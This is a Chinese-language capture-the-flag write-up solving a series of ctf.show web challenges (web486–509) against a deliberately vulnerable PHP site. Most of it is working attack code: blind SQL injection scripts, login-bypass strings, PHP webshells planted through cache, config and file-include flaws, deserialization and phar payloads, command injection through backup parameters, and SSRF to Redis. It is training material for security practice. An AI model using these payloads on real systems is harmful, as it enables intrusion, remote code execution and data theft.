web486
扫描后台发现flag.php,根据url发现存在文件包含,templates/xxx.php
所以只需要action=…/flag即可
payload:index.php?action=../flag
web487
通过action=…/index得到sql语句$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
很明显的sql注入
import requests
import string
url="http://2e8521c5-5495-4791-8e10-6b4351dac62e.challenge.ctf.show:8080/index.php?action=check&username=admin1&password=1') or "
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,40):
print(i)
for j in s:
#data="if((select substr(group_concat(table_name),{0},1) from information_schema.tables where table_schema=database())='{1}',1,0)%23".format(i,j)
#data="if((select substr(group_concat(column_name),{0},1) from information_schema.columns where table_name='flag')='{1}',1,0)%23".format(i,j)
data="if((select substr(flag,{0},1) from flag )='{1}',1,0)%23".format(i,j)
u=url+data
#print(u)
r=requests.get(u)
if "admin" in r.text:
flag+=j
print(flag)
break
web488
关键代码
action=…/index
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error',array('username'=>$username));
}
action=…/render/render_class
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
}
?action=…/render/cache_class
class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}
}
原来的sql注入已经不能用了,但是这次稍微改了一些地方,浏览一遍代码会发现唯一有用的只有一个file_put_contents函数,而调用这个函数的地方只有一处fileUtil::write('cache/'.md5($template).'.php',$content);
,我们所关注的就是$content是什么了。
看下调用create_cache的地方
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
也就是说$cache就是上面提到的$content,我们再来看下shade函数
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
第一个参数的来源$templateContent=fileUtil::read('templates/'.$template.'.php');
那么我们只需要找哪个页面里面有{{username}},经过测试发现/template/error.php满足,然后shade函数会将{{username}}替换成我们登录时传的用户名。最终将文件写入cahce/MD5(error).php。
所以我们只需要登陆时将用户名改成一句话,然后再去访问/cache/md5(error).php就可以了
palyoadindex.php?action=check&username=<?php eval($_POST[1]);?>&password=123
然后访问cache/cb5e100e5a9a3e7f6d1fd97512215282.php
就可以使用写的一句话了。
代码调用顺序
index.php
templateUtil::render('error',array('username'=>$username));
->
ender/render_class.php
else{
$templateContent=fileUtil::read('templates/'.$template.'.php'); //$templateContent={{usenrame}}
$cache=templateUtil::shade($templateContent,$arg); //$cache=传过去的用户名
cache::create_cache($template,$cache); //向/cache/md5(error).php 写入用户名
echo $cache;
}
web489
估计是非预期解。
通过extract变量覆盖掉$sql就能执行sql语句了,因为比较慢所以直接从ctfshow{后面开始跑,让s小一点。(可能会有出入,建议多跑几次)
payload
import requests
url="http://e01d42ab-f4d9-4c1a-a320-9c516b190af0.challenge.ctf.show:8080/index.php?action=check&sql=select "
s="abcdef0123456789-}"
flag=""
for i in range(9,45):
print(i)
for j in s:
u=url+"if(substr((select load_file('/flag')),{0},1)='{1}',sleep(3),1)".format(i,j)
try:
requests.get(u,timeout=(2.5,2.5))
except:
flag+=j
print(flag)
break
web490
关键代码$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
可以构造sql语句,类似于上面的487题,
payload
?action=check&username=' union select '`cat /f*`'%23
然后访问
/cache/6a992d5529f459a44fee58c733255e86.php (其实就是index的md5)
web491
sql盲注
import requests
import time
import string
url="http://42a7d1c2-18ce-4c3e-92b6-c49925e7de37.challenge.ctf.show:8080/index.php?action=check&username=' union select "
s="012345679abcdef-"
flag=""
import time
for i in range(9,45):
print(i)
for j in s:
u=url+" if(substr((select load_file('/flag')),{0},1)='{1}',sleep(20),1)%23".format(i,j)
time1=time.time()
requests.get(u)
time2=time.time()
if((time2-time1)>10):
flag+=j
print(flag)
break
多跑几次
跑出来在把ctfshow{}填上
web492
关键代码
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
因为$username只能用数字字母了,所以sql注入的可能性就很小了。
但是往下看templateUtil::render('index',\$user);
如果我们能够进入这个里面,并且使得$user可控,就和前面的写入cache差不多了.
我们看到 $user
是正则匹配以后赋的值,只要不进那个if是不是我们就可以通过变量覆盖给user赋值了。
那么怎么跳过$user=db::select_one_array($sql);
可以想到给username传数组的话,就饶过了正则表达式。
payloadaction=check&username[]=1&password=123&user[username]=<?php eval($_POST[1]);?>
然后访问/cache/6a992d5529f459a44fee58c733255e86.php
web493
反序列化漏洞
class dbLog{
public $sql;
public $content="<?php system('cat /f*');?>";
public $log='1.php';
}
$a=new dbLog();
echo serialize($a);
访问/index.php然后bp抓包,修改cookie
别忘了url编码一下。
然后访问/1.php就能看到flag了。
web494、495
方法同上
```php
class dbLog{
public $sql;
public $content="<?php eval(\$POST[1]);?>";
public $log;
public function __construct(){
$this->log='1.php';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
$a=new dbLog();
echo serialize($a);
把写的内容换成一句话木马。
之后用蚁剑连接,添加数据库。
flag在数据库中,查询下就可以了。
web496
通过万能密码可以进入系统,在基本资料里面可以看到更改密码的地方
查看网页源代码发现新页面
查看访问该页面的源码action=../api/admin_edit
主要内容如下
if($user){
extract($_POST);
$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
$user['username']
和$nickname
都是我们可控的,直接update布尔盲注
payload
import requests
import time
import string
url="http://5b74b859-d61a-4ed3-b823-12f48486ff6d.challenge.ctf.show:8080"
s=string.ascii_lowercase+string.digits+",{-}"
sess=requests.session()
sess.post(url+"?action=check",data={"username":"1'||1#","password":1})
flag=""
for i in range(9,70):
print(i)
for j in s:
data={
'nickname':str(i*2)+str(j), #不让nickname重复就行
#'user[username]':"1'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1},1,0)#".format(i,j)
#'user[username]':"1'||if(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(i,j)
'user[username]':"1'||if(substr((select flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(i,j)
}
r=sess.post(url+"/api/admin_edit.php",data=data)
if("u529f" in r.text):
flag+=j
print(flag)
break
web497
先利用万能密码登陆进去username=1' ||1%23&password=123
在…/render/render_class.php
存在ssrf漏洞,利用file直接读flag即可
修改后查看源代码就能得到flag的base64编码,解码即可。
web498
类似于497,但是这次用的ssrf打redis。
首先万能密码登录进去后修改图片地址为dict://127.0.0.1:6379,查看源代码,发现是有内容的,也就是6379端口是开着的。
直接利用gopherus生成poc就可以了。
然后打过去,访问/shell.php就可以了。
web499
万能密码进入后台界面,多了一个系统配置的功能
查看源代码得到一个新的页面
关键点就在?action=../api/admin_settings
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));
}
里面有一个写文件的功能,但是config我们是可以修改的,只要随便传一个就可以了
生成的一句话木马在/config/settings.php
web500
又多出来一个新页面action=../api/admin_db_backup
查看源码
if($user){
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);
if(file_exists(__DIR__.'/../backup/'.$db_path)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}
直接变量覆盖执行系统命令
payloaddb_path=;cp /f* /var/www/html/a.txt
访问/a.txt得到flag
web501
payload
db_format=tar; echo `cat /f*`> /var/www/html/a.php
然后访问/a.php
web502
payload
db_format=tar&pre=ls;echo `cat /f*` > /var/www/html/a.php;
web503
phar反序列化漏洞
首先通过上传logo功能上传phar文件,
phar文件生成代码
<?php
class dbLog{
public $sql;
public $content="<?php eval(\$_POST[1]);?>";
public $log="a.php";
}
$c=new dbLog();
$phar = new Phar("aaa.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($c); //将自定义meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();
?>
phar可以通过file_exits触发。
而且file_exits中的内容我们完全可控。
上传完phar之后访问http://eff58d62-cf51-456d-959a-21ce71172f43.challenge.ctf.show:8080/api/admin_db_backup.php
post内容(我上传的是aaa.phar所以里面的md5是aaa.phar的)pre=phar:///var/www/html/img&db_format=/c54c75d1d14d4d656f5c33d25b3bfbaa.phar
接着访问a.php就可以了
web505
在api/admin_file_view.php
页面存在include函数
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}
我们只要文件的内容是以user开头的就可以调用include。
所以只要通过新增模板功能上传一个user开头的一句话木马就可以了。
首先上传文件
然后触发include.
访问api/admin_file_view.php
post内容debug=1&f=/var/www/html/templates/c.sml&1=system('cat /f*');
web506
上传的文件名改成jpg就可以了,其他的一样
web507
利用data伪协议
echo file_get_contents("data://text/plain,user<?php eval(\$_POST[1]);?>");
得出的结果是user<?php eval($_POST[1]);?>
web508
用上传logo的方法上传文件,文件内容user<?php eval($_POST[1]);?>
其他步骤同上
web509
用上传logo的方法上传文件,文件内容为
user<?=`cat f/*`?>
上传成功后文件在img/md5(完整文件名).文件后缀
post内容
访问api/admin_db_backup.php
post内容
debug=1&f=/var/www/html/img/上传的文件名